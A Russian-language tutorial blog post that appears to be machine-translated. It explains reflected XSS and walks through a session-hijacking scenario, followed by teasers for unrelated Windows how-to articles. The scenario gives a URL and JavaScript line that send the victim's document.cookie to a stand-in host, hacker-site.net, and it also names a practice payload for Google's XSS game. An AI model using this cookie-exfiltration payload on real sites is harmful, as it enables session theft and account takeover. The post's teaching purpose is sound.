Web7: XSS-эксплойты. Часть 1. Отраженный XSS

Web7: XSS-эксплойты. Часть 1. Отраженный XSS

Что такое межсайтовый скриптинг?

Межсайтовый скриптинг (XSS) — один из самых популярных сегодня методов атак, известный как «крестный отец атак», и на протяжении многих лет числился в списке самых опасных методов атак на веб-приложения.

Не называйте его сокращенно CSS, чтобы избежать путаницы с концепцией каскадных таблиц стилей HTML.Техника
XSS
основана на вставке опасных сценариев в исходный код веб-приложения. Выполнить вредоносный код Javascript для захвата сеанса входа пользователя.

Чтобы лучше понять, давайте рассмотрим следующий пример. Веб-приложение, которое позволяет печатать значение, которое мы передаем через URL-адрес, при условии, что мы передаем в переменную имени значение Ping:

Web7: XSS-эксплойты. Часть 1. Отраженный XSS

Пока все в порядке, давайте рассмотрим исходный код html:

Web7: XSS-эксплойты. Часть 1. Отраженный XSS

Легко заметить, что введенное нами значение имени было вставлено в исходный код. Таким образом, вполне возможно, что все импортированное также может быть вставлено. Проблема становится серьёзной, если введенное значение — это не обычная строка, как указано выше, а потенциально опасный фрагмент кода, примерно такой:

 

Попробуйте еще раз с указанным выше значением:

Web7: XSS-эксплойты. Часть 1. Отраженный XSS

Из этого примера мы можем сделать два вывода. Во-первых, переменная name может принимать любое входное значение и передавать его на обработку на сервер. Во-вторых, сервер не контролировал это входное значение перед возвратом его в браузер. Это приводит к вставке кода JavaScript в исходный код.

XSS обычно делится на 3 основных типа: отраженный, хранимый и основанный на DOM. В этой статье я в основном упомяну технику Reflected XSS.

До 75% техник XSS основаны на Reflected XSS. Он называется отраженным, потому что в этом типе сценария эксплойта хакер должен отправить жертве URL-адрес, содержащий вредоносный код (обычно JavaScript). Жертве достаточно запросить этот URL-адрес, и хакер немедленно получит ответ, содержащий желаемый результат (здесь показана рефлексивность). Кроме того, он также известен как XSS первого порядка.

Реальный сценарий добычи полезных ископаемых

Существует множество способов эксплуатировать ошибку Reflected XSS, один из наиболее известных способов — перехватить сеанс пользователя, тем самым получив доступ к данным и получив его права на сайте.

Подробности описаны в следующих шагах:

Web7: XSS-эксплойты. Часть 1. Отраженный XSS

1. Пользователь входит в Интернет и предполагает, что сеанс назначен:

Set-Cookie: sessId=5e2c648fa5ef8d653adeede595dcde6f638639e4e59d4

2. Каким-то образом хакер отправляет пользователю URL-адрес:

http://example.com/name=var+i=new+Image;+i.src=”http://hacker-site.net/”%2bdocument.cookie;

Предположим, example.com — это веб-сайт, который посещает жертва, а hacker-site.net — это сайт, созданный хакером.

3. Жертва получает доступ к указанному выше URL-адресу.

4. Сервер отвечает жертве вместе с данными, содержащимися в запросе (фрагмент хакерского javascript)

5. Браузер жертвы получает ответ и выполняет JavaScript.

6. Фактический JavaScript, созданный хакером, выглядит следующим образом:

var i=new Image; i.src=”http://hacker-site.net/”+document.cookie;

Приведенная выше командная строка по существу отправляет запрос на сайт хакера с параметром, являющимся файлом cookie пользователя:

GET /sessId=5e2c648fa5ef8d653adeede595dcde6f638639e4e59d4 HTTP/1.1Host: hacker-site.net

7. С вашего сайта хакер перехватит указанное выше содержимое запроса и посчитает, что сеанс пользователя захвачен. На этом этапе хакер может выдать себя за жертву и воспользоваться всеми правами на веб-сайте, которыми обладает жертва.

Упражняться

Google создал страницу, где можно попрактиковаться в использовании ошибок XSS: https://xss-game.appspot.com.

Целью этих задач является внедрение скриптов для открытия всплывающего окна. Первая задача — проиллюстрировать отраженную технику, код эксплуатации довольно прост:

https://xss-game.appspot.com/level1/frame?query=alert('pwned')

Удачи!


Как очистить и сбросить кеш Microsoft Store в Windows 10

Как очистить и сбросить кеш Microsoft Store в Windows 10

Если у вас возникли проблемы с установкой или обновлением приложения «Магазин» в Windows 10, это может быть связано с проблемой с кешем магазина. Узнайте как <strong>очистить кеш магазина Microsoft</strong> для вашей учетной записи в Windows 10.

Топ-10 лучших бесплатных программ-кейлоггеров для Windows

Топ-10 лучших бесплатных программ-кейлоггеров для Windows

Кейлоггер - это программное обеспечение для захвата и сбора информации о нажатиях клавиш. Узнайте о лучших бесплатных кейлоггерах для Windows. Как защитить свои данные!

Как всегда запускать Microsoft Edge в режиме InPrivate в Windows 10

Как всегда запускать Microsoft Edge в режиме InPrivate в Windows 10

Если вы используете Microsoft Edge на общем компьютере с Windows 10 и хотите сохранить конфиденциальность своей истории просмотров, узнайте, как настроить Edge для запуска в режиме InPrivate.

8 способов открыть MSConfig в Windows 11

8 способов открыть MSConfig в Windows 11

Вы можете решить многие проблемы, возникающие в Windows 11, с помощью настройки системы. Например, если игра не запускается, открытие и изменение настроек MSConfig может решить проблему.

Инструкция по настройке и использованию VPNBook на Windows

Инструкция по настройке и использованию VPNBook на Windows

VPNBook — бесплатный провайдер VPN с неограниченной пропускной способностью, идеален для доступа к заблокированным сайтам. Узнайте, как настроить VPN на Windows за считанные минуты.

Включить/отключить функцию встроенного автозаполнения в проводнике и диалоговом окне «Выполнить» в Windows 10.

Включить/отключить функцию встроенного автозаполнения в проводнике и диалоговом окне «Выполнить» в Windows 10.

Узнайте, как включить или отключить встроенное автозаполнение в адресной строке проводника и диалоговом окне «Выполнить» в Windows 10. Следуйте нашим простым шагам!

6 способов получить доступ к меню параметров загрузки в Windows 10

6 способов получить доступ к меню параметров загрузки в Windows 10

Windows 10 предоставляет <strong>меню параметров загрузки</strong>, позволяющее исправлять проблемы и перенастраивать систему. Узнайте, как получить доступ к этому меню.

Как запустить любое приложение с помощью кнопки «Удобство доступа» на экране входа в Windows 10

Как запустить любое приложение с помощью кнопки «Удобство доступа» на экране входа в Windows 10

Кнопка «Удобство доступа» на экране входа в Windows 10 дает возможность пользователям запускать приложения, такие как диспетчер задач и командную строку, для улучшения доступа и функциональности.

Как изменить веб-камеру по умолчанию на компьютере с Windows 10

Как изменить веб-камеру по умолчанию на компьютере с Windows 10

Эта статья поможет вам настроить переключение между веб-камерами на компьютере с Windows 10. Убедитесь, что у вас по умолчанию установлена нужная веб-камера.

9 способов открыть Блокнот в Windows 11

9 способов открыть Блокнот в Windows 11

Узнайте, как быстро и удобно открыть Блокнот в Windows 11 различными способами. Bлокнот — это незаменимое текстовое приложение, которое всегда под рукой.